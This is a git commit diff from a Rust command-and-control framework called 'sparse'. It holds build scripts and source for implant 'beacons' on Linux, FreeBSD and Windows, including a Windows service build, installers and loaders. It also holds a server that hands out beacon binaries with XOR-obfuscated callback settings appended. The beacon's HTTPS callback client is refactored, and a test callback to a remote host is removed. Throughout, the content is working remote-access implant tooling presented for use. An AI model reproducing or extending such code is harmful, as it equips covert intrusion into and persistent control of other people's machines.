fix: everything builds
made it also possible to download individual beacons as opposed to just the installer, to provide more options and make it easier to test
This commit is contained in:
parent
75b53f7191
commit
c0fe4f2bdb
7
Cargo.lock
generated
7
Cargo.lock
generated
@ -3377,7 +3377,6 @@ dependencies = [
|
||||
"hyper",
|
||||
"hyper-rustls",
|
||||
"hyper-util",
|
||||
"nl-sys",
|
||||
"packets",
|
||||
"pcap-sys",
|
||||
"pin-project",
|
||||
@ -3459,8 +3458,14 @@ dependencies = [
|
||||
name = "sparse-unix-beacon"
|
||||
version = "2.0.0"
|
||||
dependencies = [
|
||||
"async-trait",
|
||||
"errno",
|
||||
"libc",
|
||||
"nl-sys",
|
||||
"sparse-actions",
|
||||
"sparse-beacon",
|
||||
"thiserror 2.0.11",
|
||||
"tokio",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
|
||||
39
packages.nix
39
packages.nix
@ -183,6 +183,17 @@ let
|
||||
CARGO_BUILD_RUSTFLAGS = "-Ctarget-feature=+crt-static";
|
||||
});
|
||||
|
||||
sparse-beacon-windows-svc = craneLib.buildPackage (windowsArgs // {
|
||||
cargoArtifacts = windowsCargoArtifacts;
|
||||
name = "sparse-beacon-windows";
|
||||
cargoExtraArgs = "-p sparse-windows-beacon --features=service";
|
||||
src =
|
||||
fileSetForBeaconCrate ./sparse-windows-beacon ./sparse-windows-infector;
|
||||
|
||||
CARGO_BUILD_TARGET = "x86_64-pc-windows-gnu";
|
||||
CARGO_BUILD_RUSTFLAGS = "-Ctarget-feature=+crt-static";
|
||||
});
|
||||
|
||||
linux-loader = pkgs.stdenv.mkDerivation {
|
||||
name = "sparse-linux-loader";
|
||||
|
||||
@ -206,7 +217,7 @@ let
|
||||
'';
|
||||
};
|
||||
|
||||
freebsd-loader = pkgs.stdenv.mkDerivation {
|
||||
freebsd-loader-sysv = pkgs.stdenv.mkDerivation {
|
||||
name = "sparse-freebsd-loader";
|
||||
|
||||
buildInputs = with pkgs; [ zig ];
|
||||
@ -231,6 +242,8 @@ let
|
||||
'';
|
||||
};
|
||||
|
||||
freebsd-loader = patch-freebsd-elf freebsd-loader-sysv "bin/unix-loader";
|
||||
|
||||
sparse-installer-linux = craneLib.buildPackage (linuxArgs // {
|
||||
cargoArtifacts = linuxCargoArtifacts;
|
||||
name = "sparse-installer-linux";
|
||||
@ -254,7 +267,7 @@ let
|
||||
CARGO_BUILD_TARGET = "x86_64-unknown-linux-musl";
|
||||
CARGO_BUILD_RUSTFLAGS = "-Ctarget-feature=+crt-static";
|
||||
|
||||
SPARSE_LOADER = "${freebsd-loader}/lib/libunix-loader-freebsd.so";
|
||||
SPARSE_LOADER = "${freebsd-loader-sysv}/lib/libunix-loader-freebsd.so";
|
||||
});
|
||||
|
||||
sparse-installer-freebsd =
|
||||
@ -270,12 +283,11 @@ let
|
||||
CARGO_BUILD_TARGET = "x86_64-pc-windows-gnu";
|
||||
CARGO_BUILD_RUSTFLAGS = "-Ctarget-feature=+crt-static";
|
||||
|
||||
SPARSE_BEACON_WINDOWS =
|
||||
"${sparse-beacon-windows}/lib/sparse_windows_beacon.dll";
|
||||
SPARSE_LIBRARY = "${sparse-beacon-windows}/lib/sparse_windows_beacon.dll";
|
||||
});
|
||||
|
||||
sparse-server = craneLib.mkCargoDerivation (commonArgs // {
|
||||
src = (builtins.trace "${fileSetForWebCrate}") fileSetForWebCrate;
|
||||
src = fileSetForWebCrate;
|
||||
|
||||
cargoArtifacts = gnuLinuxCargoArtifacts;
|
||||
|
||||
@ -303,6 +315,15 @@ let
|
||||
"${sparse-installer-freebsd}/bin/sparse-unix-installer";
|
||||
SPARSE_INSTALLER_WINDOWS =
|
||||
"${sparse-installer-windows}/bin/sparse-windows-installer.exe";
|
||||
|
||||
SPARSE_BEACON_LINUX = "${sparse-beacon-linux}/bin/sparse-unix-beacon";
|
||||
SPARSE_BEACON_LINUX_LOADER = "${linux-loader}/bin/unix-loader";
|
||||
SPARSE_BEACON_FREEBSD = "${sparse-beacon-freebsd}/bin/sparse-unix-beacon";
|
||||
SPARSE_BEACON_FREEBSD_LOADER = "${freebsd-loader}/bin/unix-loader";
|
||||
SPARSE_BEACON_WINDOWS =
|
||||
"${sparse-beacon-windows}/bin/sparse-windows-beacon.exe";
|
||||
SPARSE_BEACON_WINDOWS_SVC =
|
||||
"${sparse-beacon-windows-svc}/bin/sparse-windows-beacon.exe";
|
||||
});
|
||||
|
||||
sparse-server-docker = pkgs.dockerTools.buildImage {
|
||||
@ -317,11 +338,9 @@ let
|
||||
outputs = rec {
|
||||
packages = {
|
||||
inherit sparse-server sparse-server-docker sparse-beacon-linux
|
||||
sparse-beacon-freebsd sparse-beacon-windows linux-loader freebsd-loader
|
||||
sparse-installer-linux sparse-installer-freebsd
|
||||
sparse-installer-windows;
|
||||
|
||||
inherit freebsd-zig-libc;
|
||||
sparse-beacon-freebsd sparse-beacon-windows sparse-beacon-windows-svc
|
||||
linux-loader freebsd-loader-sysv sparse-installer-linux
|
||||
sparse-installer-freebsd sparse-installer-windows;
|
||||
|
||||
default = sparse-server;
|
||||
};
|
||||
|
||||
@ -20,10 +20,9 @@ tower-service = "0.3.3"
|
||||
futures = "0.3.31"
|
||||
simple_logger = "5.0.0"
|
||||
http = "1.2.0"
|
||||
bytes = "1.10.0"
|
||||
http-body-util = "0.1.2"
|
||||
|
||||
pcap-sys = { version = "0.1.0", path = "../pcap-sys" }
|
||||
sparse-actions = { version = "2.0.0", path = "../sparse-actions" }
|
||||
packets = { version = "0.1.0", path = "../packets" }
|
||||
nl-sys = { version = "0.1.0", path = "../nl-sys" }
|
||||
bytes = "1.10.0"
|
||||
http-body-util = "0.1.2"
|
||||
|
||||
@ -23,7 +23,9 @@ pub struct BeaconInterface {
|
||||
|
||||
#[async_trait::async_trait]
|
||||
pub trait BeaconAdapter {
|
||||
type Error: error::AdapterError + Send + Sync;
|
||||
|
||||
fn interface_name_from_interface(interface: &BeaconInterface) -> Vec<u8>;
|
||||
|
||||
fn networking_info(&self) -> Result<BeaconNetworkingInfo, error::BeaconError>;
|
||||
fn networking_info(&self) -> Result<BeaconNetworkingInfo, error::BeaconError<Self::Error>>;
|
||||
}
|
||||
|
||||
@ -1,9 +1,6 @@
|
||||
use std::{future::Future, pin::Pin, task::{self, Poll}};
|
||||
|
||||
use futures::stream::StreamExt;
|
||||
use http::Uri;
|
||||
use http_body_util::{Empty, BodyExt};
|
||||
use hyper::Request;
|
||||
use hyper_util::{client::legacy::Client, rt::{TokioExecutor, TokioIo}};
|
||||
use rustls::RootCertStore;
|
||||
use tower_service::Service;
|
||||
@ -26,7 +23,7 @@ where
|
||||
T: adapter::BeaconAdapter + Clone + Send + Sync + 'static
|
||||
{
|
||||
type Response = TokioIo<tcp::NetInterfaceHandle>;
|
||||
type Error = error::BeaconError;
|
||||
type Error = error::BeaconError<T::Error>;
|
||||
type Future = Pin<Box<
|
||||
dyn Future<Output = Result<Self::Response, Self::Error>> + Send
|
||||
>>;
|
||||
@ -48,12 +45,14 @@ where
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn perform_callback<T>(
|
||||
pub async fn obtain_https_client<T, B>(
|
||||
adapter: &T,
|
||||
parameters: &Parameters,
|
||||
) -> Result<(), error::BeaconError>
|
||||
) -> Result<Client<hyper_rustls::HttpsConnector<ServerConnector<T>>, B>, error::BeaconError<T::Error>>
|
||||
where
|
||||
T: adapter::BeaconAdapter + Clone + Send + Sync + 'static,
|
||||
B: hyper::body::Body + Send,
|
||||
<B as hyper::body::Body>::Data: Send
|
||||
{
|
||||
let server_cert = rustls::pki_types::CertificateDer::from(
|
||||
parameters.pubkey_cert[..parameters.pubkey_cert_size as usize].to_owned()
|
||||
@ -93,17 +92,5 @@ where
|
||||
let client = Client::builder(TokioExecutor::new())
|
||||
.build(https);
|
||||
|
||||
for _ in 1..5 {
|
||||
let req = Request::builder()
|
||||
.uri("https://sparse.com/hidden_sparse/test".parse::<hyper::Uri>()?)
|
||||
.body(Empty::<bytes::Bytes>::new())?;
|
||||
let resp = client.request(req).await?;
|
||||
|
||||
println!("{:?} {:?}", resp.version(), resp.status());
|
||||
let body = resp.into_body();
|
||||
let body = body.collect().await;
|
||||
println!("{:?}", body);
|
||||
}
|
||||
|
||||
Ok(())
|
||||
Ok(client)
|
||||
}
|
||||
|
||||
@ -1,7 +1,12 @@
|
||||
use thiserror::Error;
|
||||
|
||||
pub trait AdapterError: std::error::Error {}
|
||||
|
||||
#[derive(Error, Debug)]
|
||||
pub enum BeaconError {
|
||||
pub enum BeaconError<T>
|
||||
where
|
||||
T: AdapterError,
|
||||
{
|
||||
#[error("io error")]
|
||||
Io(#[from] std::io::Error),
|
||||
#[error("pcap error")]
|
||||
@ -14,8 +19,6 @@ pub enum BeaconError {
|
||||
NoDefaultRoute,
|
||||
#[error("connection error")]
|
||||
Connect(#[from] smoltcp::socket::tcp::ConnectError),
|
||||
#[error("netlink error")]
|
||||
Nl(#[from] nl_sys::error::Error),
|
||||
#[error("http comms error")]
|
||||
Http(#[from] http::Error),
|
||||
#[error("uri parse error")]
|
||||
@ -24,4 +27,6 @@ pub enum BeaconError {
|
||||
HyperError(#[from] hyper_util::client::legacy::Error),
|
||||
#[error("rustls")]
|
||||
Rustls(#[from] rustls::Error),
|
||||
#[error("adapter error")]
|
||||
Adapter(#[from] T),
|
||||
}
|
||||
|
||||
@ -8,11 +8,10 @@ pub mod adapter;
|
||||
pub mod error;
|
||||
pub use error::BeaconError;
|
||||
|
||||
pub async fn run_beacon_step<A>(host_adapter: A, params: Parameters) -> Result<(), BeaconError>
|
||||
pub async fn run_beacon_step<A>(host_adapter: A, params: Parameters) -> Result<(), BeaconError<A::Error>>
|
||||
where
|
||||
A: adapter::BeaconAdapter + Clone + Send + Sync + 'static,
|
||||
{
|
||||
callback::perform_callback(&host_adapter, ¶ms).await?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@ -18,7 +18,7 @@ impl RawSocket {
|
||||
a_interface: &adapter::BeaconInterface,
|
||||
promisc: bool,
|
||||
port: u16,
|
||||
) -> Result<Self, error::BeaconError> {
|
||||
) -> Result<Self, error::BeaconError<T::Error>> {
|
||||
let name_raw = T::interface_name_from_interface(&a_interface);
|
||||
let name = std::str::from_utf8(&name_raw)?;
|
||||
let mut lower = Interface::new(name)?;
|
||||
|
||||
@ -150,7 +150,7 @@ impl connect::Connection for NetInterfaceHandle {
|
||||
pub async fn setup_network<T>(
|
||||
adapter: T,
|
||||
parameters: Parameters,
|
||||
) -> Result<NetInterfaceHandle, error::BeaconError>
|
||||
) -> Result<NetInterfaceHandle, error::BeaconError<T::Error>>
|
||||
where
|
||||
T: adapter::BeaconAdapter + Clone + Send + 'static,
|
||||
{
|
||||
|
||||
@ -1,16 +1,21 @@
|
||||
{
|
||||
"db_name": "SQLite",
|
||||
"query": "SELECT certificate, privkey FROM beacon_listener WHERE listener_id = ?",
|
||||
"query": "SELECT domain_name, certificate, privkey FROM beacon_listener WHERE listener_id = ?",
|
||||
"describe": {
|
||||
"columns": [
|
||||
{
|
||||
"name": "certificate",
|
||||
"name": "domain_name",
|
||||
"ordinal": 0,
|
||||
"type_info": "Text"
|
||||
},
|
||||
{
|
||||
"name": "certificate",
|
||||
"ordinal": 1,
|
||||
"type_info": "Blob"
|
||||
},
|
||||
{
|
||||
"name": "privkey",
|
||||
"ordinal": 1,
|
||||
"ordinal": 2,
|
||||
"type_info": "Blob"
|
||||
}
|
||||
],
|
||||
@ -18,9 +23,10 @@
|
||||
"Right": 1
|
||||
},
|
||||
"nullable": [
|
||||
false,
|
||||
false,
|
||||
false
|
||||
]
|
||||
},
|
||||
"hash": "f3e4ad6219ca2d79c807312d67084ceaea2da43d9ce3741a4b47b3ae1ebca342"
|
||||
"hash": "2d69fc5f5de4a3815f6da30be8d21fb922295560a2aecb0532eeab17a52896e5"
|
||||
}
|
||||
12
sparse-server/.sqlx/query-66c0f884f6640f8c3570e52beca741d1818509ded4d4e33e5eba333fcab30b98.json
generated
Normal file
12
sparse-server/.sqlx/query-66c0f884f6640f8c3570e52beca741d1818509ded4d4e33e5eba333fcab30b98.json
generated
Normal file
@ -0,0 +1,12 @@
|
||||
{
|
||||
"db_name": "SQLite",
|
||||
"query": "INSERT INTO beacon_template\n (template_name, operating_system, config_id, listener_id, source_ip,\n source_mac, source_mode, default_category, client_key, client_cert,\n source_interface)\n VALUES\n (?, ?, ?, ?, ?, ?, 'host', ?, ?, ?, ?)",
|
||||
"describe": {
|
||||
"columns": [],
|
||||
"parameters": {
|
||||
"Right": 10
|
||||
},
|
||||
"nullable": []
|
||||
},
|
||||
"hash": "66c0f884f6640f8c3570e52beca741d1818509ded4d4e33e5eba333fcab30b98"
|
||||
}
|
||||
@ -1,6 +1,6 @@
|
||||
{
|
||||
"db_name": "SQLite",
|
||||
"query": "SELECT operating_system, source_ip, source_mac, source_mode, source_netmask,\n source_gateway, port, public_ip, domain_name, certificate, client_cert, client_key\n FROM beacon_template JOIN beacon_listener",
|
||||
"query": "SELECT operating_system, source_ip, source_mac, source_mode, source_netmask,\n source_gateway, port, public_ip, domain_name, certificate, client_cert, client_key,\n source_interface\n FROM beacon_template JOIN beacon_listener",
|
||||
"describe": {
|
||||
"columns": [
|
||||
{
|
||||
@ -62,6 +62,11 @@
|
||||
"name": "client_key",
|
||||
"ordinal": 11,
|
||||
"type_info": "Blob"
|
||||
},
|
||||
{
|
||||
"name": "source_interface",
|
||||
"ordinal": 12,
|
||||
"type_info": "Blob"
|
||||
}
|
||||
],
|
||||
"parameters": {
|
||||
@ -79,8 +84,9 @@
|
||||
false,
|
||||
false,
|
||||
false,
|
||||
false
|
||||
false,
|
||||
true
|
||||
]
|
||||
},
|
||||
"hash": "0e151259a31b9fd02a31a207da7c4b8b817d57d9da5765a64ca2a320dc38a625"
|
||||
"hash": "75816d6d1484350d4a1c37b6679237007868f10438ee9cbd7ae67eeaa345be0f"
|
||||
}
|
||||
@ -1,12 +0,0 @@
|
||||
{
|
||||
"db_name": "SQLite",
|
||||
"query": "INSERT INTO beacon_template\n (template_name, operating_system, config_id, listener_id, source_ip, source_mac, source_mode, source_netmask, source_gateway, default_category, client_key, client_cert)\n VALUES\n (?, ?, ?, ?, ?, ?, 'host', ?, ?, ?, ?, ?)",
|
||||
"describe": {
|
||||
"columns": [],
|
||||
"parameters": {
|
||||
"Right": 11
|
||||
},
|
||||
"nullable": []
|
||||
},
|
||||
"hash": "a65057fab44005996c4e5c8b0f2a69b7d786622c116452e8a131145b0832b43b"
|
||||
}
|
||||
@ -1,12 +0,0 @@
|
||||
{
|
||||
"db_name": "SQLite",
|
||||
"query": "INSERT INTO beacon_template\n (template_name, operating_system, config_id, listener_id, source_ip, source_mac, source_mode, default_category, client_key, client_cert)\n VALUES\n (?, ?, ?, ?, ?, ?, 'host', ?, ?, ?)",
|
||||
"describe": {
|
||||
"columns": [],
|
||||
"parameters": {
|
||||
"Right": 9
|
||||
},
|
||||
"nullable": []
|
||||
},
|
||||
"hash": "ab8bbbbe0e7b3eb64dc274fb3e7e1724d2e93541bc9156cde2fdf0876712c7f5"
|
||||
}
|
||||
12
sparse-server/.sqlx/query-bb55c34fc7e98138c4850452430fd8a6a1e65f84591ab069893cec65e8daaf83.json
generated
Normal file
12
sparse-server/.sqlx/query-bb55c34fc7e98138c4850452430fd8a6a1e65f84591ab069893cec65e8daaf83.json
generated
Normal file
@ -0,0 +1,12 @@
|
||||
{
|
||||
"db_name": "SQLite",
|
||||
"query": "INSERT INTO beacon_template\n (template_name, operating_system, config_id, listener_id, source_ip,\n source_mac, source_mode, source_netmask, source_gateway, default_category,\n client_key, client_cert, source_interface)\n VALUES\n (?, ?, ?, ?, ?, ?, 'host', ?, ?, ?, ?, ?, ?)",
|
||||
"describe": {
|
||||
"columns": [],
|
||||
"parameters": {
|
||||
"Right": 12
|
||||
},
|
||||
"nullable": []
|
||||
},
|
||||
"hash": "bb55c34fc7e98138c4850452430fd8a6a1e65f84591ab069893cec65e8daaf83"
|
||||
}
|
||||
@ -437,10 +437,37 @@ pub fn DisplayTemplates(
|
||||
<a
|
||||
class="button"
|
||||
download=""
|
||||
href=format!("/installer/{}", template.template_id)
|
||||
href=format!("/binaries/installer/{}", template.template_id)
|
||||
>
|
||||
"Download installer"
|
||||
</a>
|
||||
<a
|
||||
class="button"
|
||||
download=""
|
||||
href=format!("/binaries/beacon/{}", template.template_id)
|
||||
>
|
||||
"Download beacon"
|
||||
</a>
|
||||
{(template.operating_system == "windows")
|
||||
.then(|| view! {
|
||||
<a
|
||||
class="button"
|
||||
download=""
|
||||
href=format!("/binaries/beacon/{}?use_svc=true", template.template_id)
|
||||
>
|
||||
"Download beacon (Windows Service)"
|
||||
</a>
|
||||
})}
|
||||
{(template.operating_system != "windows")
|
||||
.then(|| view! {
|
||||
<a
|
||||
class="button"
|
||||
download=""
|
||||
href=format!("/binaries/beacon/{}?use_loader=true", template.template_id)
|
||||
>
|
||||
"Download beacon (Unix loader)"
|
||||
</a>
|
||||
})}
|
||||
<button
|
||||
on:click={
|
||||
let template_id = template.template_id;
|
||||
@ -456,7 +483,12 @@ pub fn DisplayTemplates(
|
||||
<div>
|
||||
<ul>
|
||||
<li>"Source IP: "{template.source_ip.clone()}</li>
|
||||
<li>"Source MAC: "{template.source_mac.clone().unwrap_or("00:00:00:00:00:00".to_owned())}</li>
|
||||
{template
|
||||
.source_mac
|
||||
.clone()
|
||||
.map(|m| view! {
|
||||
<li>"Source MAC: "{m}</li>
|
||||
})}
|
||||
<li>
|
||||
"Source mode: "
|
||||
{match template.source_mode.clone() {
|
||||
|
||||
@ -1,13 +1,14 @@
|
||||
use std::{net::SocketAddrV4, process::ExitCode};
|
||||
|
||||
use axum::{
|
||||
extract::{FromRef, Path, State},
|
||||
extract::{FromRef, Path, Query, State},
|
||||
response::IntoResponse,
|
||||
routing::get,
|
||||
Router,
|
||||
};
|
||||
use leptos::prelude::*;
|
||||
use leptos_axum::{generate_route_list, LeptosRoutes};
|
||||
use serde::Deserialize;
|
||||
use sqlx::sqlite::SqlitePool;
|
||||
use tokio::signal;
|
||||
|
||||
@ -20,6 +21,17 @@ pub(crate) mod beacon_binaries {
|
||||
include_bytes!(std::env!("SPARSE_INSTALLER_FREEBSD"));
|
||||
pub const WINDOWS_INSTALLER: &'static [u8] =
|
||||
include_bytes!(std::env!("SPARSE_INSTALLER_WINDOWS"));
|
||||
|
||||
pub const LINUX_BEACON: &'static [u8] = include_bytes!(std::env!("SPARSE_BEACON_LINUX"));
|
||||
pub const LINUX_BEACON_LOADER: &'static [u8] = include_bytes!(std::env!("SPARSE_BEACON_LINUX_LOADER"));
|
||||
pub const FREEBSD_BEACON: &'static [u8] =
|
||||
include_bytes!(std::env!("SPARSE_BEACON_FREEBSD"));
|
||||
pub const FREEBSD_BEACON_LOADER: &'static [u8] =
|
||||
include_bytes!(std::env!("SPARSE_BEACON_FREEBSD_LOADER"));
|
||||
pub const WINDOWS_BEACON: &'static [u8] =
|
||||
include_bytes!(std::env!("SPARSE_BEACON_WINDOWS"));
|
||||
pub const WINDOWS_BEACON_SVC: &'static [u8] =
|
||||
include_bytes!(std::env!("SPARSE_BEACON_WINDOWS_SVC"));
|
||||
}
|
||||
|
||||
#[cfg(debug_assertions)]
|
||||
@ -27,7 +39,7 @@ pub async fn get_installer(btype: &str) -> Result<Vec<u8>, crate::error::Error>
|
||||
let path = match btype {
|
||||
"linux" => "target/x86_64-unknown-linux-musl/debug/sparse-unix-installer",
|
||||
"freebsd" => "target/x86_64-unknown-freebsd/debug/sparse-unix-installer",
|
||||
"windows" => "target/x86_64-pc-windows-gnu/debug/sparse-unix-installer",
|
||||
"windows" => "target/x86_64-pc-windows-gnu/debug/sparse-windows-installer",
|
||||
other => {
|
||||
return Err(crate::error::Error::Generic(format!(
|
||||
"unknown beacon type: {other}"
|
||||
@ -49,17 +61,50 @@ pub async fn get_installer(btype: &str) -> Result<Vec<u8>, crate::error::Error>
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(debug_assertions)]
|
||||
pub async fn get_beacon(btype: &str) -> Result<Vec<u8>, crate::error::Error> {
|
||||
let path = match btype {
|
||||
"linux" => "target/x86_64-unknown-linux-musl/debug/sparse-unix-beacon",
|
||||
"linux-loader" => "unix-loader/zig-out/bin/unix-loader",
|
||||
"freebsd" => "target/x86_64-unknown-freebsd/debug/sparse-unix-beacon",
|
||||
"freebsd-loader" => "unix-loader/zig-out/bin/unix-loader",
|
||||
"windows" => "target/x86_64-pc-windows-gnu/debug/sparse-windows-beacon.exe",
|
||||
"windows-svc" => "target/x86_64-pc-windows-gnu/debug/sparse-windows-beacon.exe",
|
||||
other => {
|
||||
return Err(crate::error::Error::Generic(format!(
|
||||
"unknown beacon type: {other}"
|
||||
)))
|
||||
}
|
||||
};
|
||||
|
||||
Ok(tokio::fs::read(path).await?)
|
||||
}
|
||||
#[cfg(not(debug_assertions))]
|
||||
pub async fn get_beacon(btype: &str) -> Result<Vec<u8>, crate::error::Error> {
|
||||
match btype {
|
||||
"linux" => Ok(beacon_binaries::LINUX_BEACON.to_owned()),
|
||||
"linux-loader" => Ok(beacon_binaries::LINUX_BEACON_LOADER.to_owned()),
|
||||
"windows" => Ok(beacon_binaries::WINDOWS_BEACON.to_owned()),
|
||||
"windows" => Ok(beacon_binaries::WINDOWS_BEACON.to_owned()),
|
||||
"windows-svc" => Ok(beacon_binaries::WINDOWS_BEACON_SVC.to_owned()),
|
||||
"freebsd" => Ok(beacon_binaries::FREEBSD_BEACON.to_owned()),
|
||||
"freebsd-loader" => Ok(beacon_binaries::FREEBSD_BEACON_LOADER.to_owned()),
|
||||
other => Err(crate::error::Error::Generic(format!(
|
||||
"unknown beacon type: {other}"
|
||||
))),
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(FromRef, Clone, Debug)]
|
||||
pub struct AppState {
|
||||
db: SqlitePool,
|
||||
leptos_options: leptos::config::LeptosOptions,
|
||||
}
|
||||
|
||||
#[axum::debug_handler]
|
||||
pub async fn download_beacon_installer(
|
||||
Path(template_id): Path<i64>,
|
||||
State(db): State<AppState>,
|
||||
) -> Result<impl IntoResponse, crate::error::Error> {
|
||||
async fn get_parameters_bytes(
|
||||
template_id: i64,
|
||||
db: SqlitePool
|
||||
) -> Result<(Vec<u8>, String), crate::error::Error> {
|
||||
use rand::{rngs::OsRng, TryRngCore};
|
||||
use sparse_actions::payload_types::{Parameters_t, XOR_KEY};
|
||||
|
||||
@ -75,7 +120,7 @@ pub async fn download_beacon_installer(
|
||||
source_interface
|
||||
FROM beacon_template JOIN beacon_listener"
|
||||
)
|
||||
.fetch_one(&db.db)
|
||||
.fetch_one(&db)
|
||||
.await?;
|
||||
|
||||
let dest_ip = template.public_ip.parse::<std::net::Ipv4Addr>()?;
|
||||
@ -172,13 +217,67 @@ pub async fn download_beacon_installer(
|
||||
parameters.domain_name[..domain_name.len()].copy_from_slice(&domain_name[..]);
|
||||
parameters.domain_name_length = domain_name.len() as u16;
|
||||
|
||||
let installer_bytes = get_installer(&template.operating_system).await?;
|
||||
|
||||
let parameters_bytes = parameters_buffer
|
||||
.iter()
|
||||
.map(|b| b ^ (XOR_KEY as u8))
|
||||
.collect::<Vec<_>>();
|
||||
|
||||
Ok((parameters_bytes, template.operating_system.clone()))
|
||||
}
|
||||
|
||||
#[derive(Debug, Deserialize)]
|
||||
pub struct BeaconDownloadParams {
|
||||
use_svc: Option<bool>,
|
||||
use_loader: Option<bool>,
|
||||
}
|
||||
|
||||
pub async fn download_beacon(
|
||||
Path(template_id): Path<i64>,
|
||||
State(db): State<AppState>,
|
||||
Query(beacon_params): Query<BeaconDownloadParams>
|
||||
) -> Result<impl IntoResponse, crate::error::Error> {
|
||||
println!("Params: {beacon_params:?}");
|
||||
|
||||
let (parameters_bytes, operating_system) = get_parameters_bytes(template_id, db.db).await?;
|
||||
|
||||
let binary = if beacon_params.use_svc.unwrap_or_default() {
|
||||
"windows-svc".to_string()
|
||||
} else if beacon_params.use_loader.unwrap_or_default() {
|
||||
format!("{operating_system}-loader")
|
||||
} else {
|
||||
operating_system.clone()
|
||||
};
|
||||
|
||||
let installer_bytes = get_beacon(&binary).await?;
|
||||
|
||||
use axum::http::header;
|
||||
|
||||
Ok((
|
||||
[
|
||||
(header::CONTENT_TYPE, "application/octet-stream".to_string()),
|
||||
(
|
||||
header::CONTENT_DISPOSITION,
|
||||
format!(
|
||||
r#"attachement; filename="sparse-beacon{}""#,
|
||||
if operating_system.starts_with("windows") {
|
||||
".exe"
|
||||
} else {
|
||||
""
|
||||
}
|
||||
),
|
||||
),
|
||||
],
|
||||
[&installer_bytes[..], ¶meters_bytes[..]].concat(),
|
||||
))
|
||||
}
|
||||
|
||||
pub async fn download_beacon_installer(
|
||||
Path(template_id): Path<i64>,
|
||||
State(db): State<AppState>,
|
||||
) -> Result<impl IntoResponse, crate::error::Error> {
|
||||
let (parameters_bytes, operating_system) = get_parameters_bytes(template_id, db.db).await?;
|
||||
let installer_bytes = get_installer(&operating_system).await?;
|
||||
|
||||
use axum::http::header;
|
||||
|
||||
Ok((
|
||||
@ -188,7 +287,7 @@ pub async fn download_beacon_installer(
|
||||
header::CONTENT_DISPOSITION,
|
||||
format!(
|
||||
r#"attachement; filename="sparse-installer{}""#,
|
||||
if template.operating_system == "windows" {
|
||||
if operating_system.starts_with("windows") {
|
||||
".exe"
|
||||
} else {
|
||||
""
|
||||
@ -223,7 +322,8 @@ pub async fn serve_web(
|
||||
};
|
||||
|
||||
let app = Router::new()
|
||||
.route("/installer/:template_id", get(download_beacon_installer))
|
||||
.route("/binaries/installer/:template_id", get(download_beacon_installer))
|
||||
.route("/binaries/beacon/:template_id", get(download_beacon))
|
||||
.leptos_routes_with_context(
|
||||
&state,
|
||||
routes,
|
||||
|
||||
@ -6,3 +6,12 @@ version.workspace = true
|
||||
[dependencies]
|
||||
libc = "0.2"
|
||||
errno = "0.3"
|
||||
async-trait = "0.1.86"
|
||||
tokio = { version = "1.43.0", features = ["fs", "macros", "rt"] }
|
||||
thiserror = "2.0.11"
|
||||
|
||||
sparse-beacon = { version = "0.7.0", path = "../sparse-beacon" }
|
||||
sparse-actions = { version = "2.0.0", path = "../sparse-actions" }
|
||||
|
||||
[target.'cfg(target_os = "linux")'.dependencies]
|
||||
nl-sys = { version = "0.1.0", path = "../nl-sys" }
|
||||
|
||||
30
sparse-unix-beacon/src/freebsd.rs
Normal file
30
sparse-unix-beacon/src/freebsd.rs
Normal file
@ -0,0 +1,30 @@
|
||||
use std::net::Ipv4Addr;
|
||||
|
||||
use sparse_beacon::{
|
||||
adapter::{BeaconAdapter, BeaconInterface, BeaconNetworkingInfo, BeaconRoute},
|
||||
error,
|
||||
};
|
||||
|
||||
#[derive(thiserror::Error, Debug)]
|
||||
pub enum FreeBsdAdapterError {}
|
||||
|
||||
impl sparse_beacon::error::AdapterError for FreeBsdAdapterError {}
|
||||
|
||||
#[derive(Clone)]
|
||||
pub struct FreeBsdAdapter;
|
||||
|
||||
#[async_trait::async_trait]
|
||||
impl BeaconAdapter for FreeBsdAdapter {
|
||||
type Error = FreeBsdAdapterError;
|
||||
|
||||
fn interface_name_from_interface(interface: &BeaconInterface) -> Vec<u8> {
|
||||
interface.name.clone()
|
||||
}
|
||||
|
||||
fn networking_info(&self) -> Result<BeaconNetworkingInfo, error::BeaconError<Self::Error>> {
|
||||
Ok(BeaconNetworkingInfo {
|
||||
routes: vec![],
|
||||
interfaces: vec![],
|
||||
})
|
||||
}
|
||||
}
|
||||
@ -1,29 +1,36 @@
|
||||
use std::{io::SeekFrom, net::Ipv4Addr};
|
||||
|
||||
use tokio::io::{AsyncReadExt, AsyncSeekExt};
|
||||
use std::net::Ipv4Addr;
|
||||
|
||||
use nl_sys::netlink;
|
||||
|
||||
use sparse_actions::payload_types::{Parameters, XOR_KEY};
|
||||
use sparse_beacon::{
|
||||
adapter::{BeaconAdapter, BeaconInterface, BeaconNetworkingInfo, BeaconRoute},
|
||||
error,
|
||||
};
|
||||
|
||||
#[derive(thiserror::Error, Debug)]
|
||||
pub enum LinuxAdapterError {
|
||||
#[error("netlink error")]
|
||||
Nl(#[from] nl_sys::error::Error),
|
||||
}
|
||||
|
||||
impl sparse_beacon::error::AdapterError for LinuxAdapterError {}
|
||||
|
||||
#[derive(Clone)]
|
||||
struct LinuxAdapter;
|
||||
pub struct LinuxAdapter;
|
||||
|
||||
#[async_trait::async_trait]
|
||||
impl BeaconAdapter for LinuxAdapter {
|
||||
type Error = LinuxAdapterError;
|
||||
|
||||
fn interface_name_from_interface(interface: &BeaconInterface) -> Vec<u8> {
|
||||
interface.name.clone()
|
||||
}
|
||||
|
||||
fn networking_info(&self) -> Result<BeaconNetworkingInfo, error::BeaconError> {
|
||||
let nlsock = netlink::Socket::new()?;
|
||||
fn networking_info(&self) -> Result<BeaconNetworkingInfo, error::BeaconError<Self::Error>> {
|
||||
let nlsock = netlink::Socket::new().map_err(LinuxAdapterError::Nl)?;
|
||||
|
||||
let routes = nlsock.get_routes()?;
|
||||
let links = nlsock.get_links()?;
|
||||
let routes = nlsock.get_routes().map_err(LinuxAdapterError::Nl)?;
|
||||
let links = nlsock.get_links().map_err(LinuxAdapterError::Nl)?;
|
||||
let links_vec = links.iter().collect::<Vec<_>>();
|
||||
|
||||
Ok(BeaconNetworkingInfo {
|
||||
@ -82,32 +89,3 @@ impl BeaconAdapter for LinuxAdapter {
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::main]
|
||||
async fn main() -> Result<(), sparse_beacon::BeaconError> {
|
||||
let installer = std::env::args()
|
||||
.skip(1)
|
||||
.next()
|
||||
